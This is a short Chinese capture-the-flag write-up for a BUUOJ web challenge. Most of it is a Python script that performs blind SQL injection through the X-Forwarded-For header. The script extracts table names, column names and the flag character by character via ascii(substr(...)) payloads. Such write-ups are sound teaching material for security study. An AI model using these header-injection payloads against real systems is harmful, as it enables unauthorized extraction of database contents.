考点
- X-Forwarded注入
解题
题目不难需要仔细观察
在题目源码中有直接给exp了 看了一下和wp的方法不太一样 但是原理相同 更快速一点!import requests
import re
url = "http://node4.buuoj.cn:27079/?url=http://127.0.0.1/"
#爆表名
#xForwarded = "0'+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'),{},1))+'0"
#F4l9_t4b1e
#xForwarded = "0'+ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='F4l9_D4t4B45e'),{},1))+'0"
#F4l9_C01uMn
xForwarded = "0'+ascii(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{},1))+'0"
flag=''
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'https://127.0.0.1:8080'
}
for i in range(1, 100):
head = {
"GET" : "/ HTTP/1.1",
"Cookie" : "track_uuid=3817ca8d-1911-4281-b432-10a091e15940",
'X-Forwarded-For': xForwarded.format(i)
}
r = requests.get(url, headers=head)
head["X-Forwarded-For"] = "penson"
r = requests.get(url,headers=head)
r = requests.get(url,headers=head)
f = re.search('Last Ip:\s(\d+)',r.text)
flag = flag+chr(int(f.group(1)))
print(flag)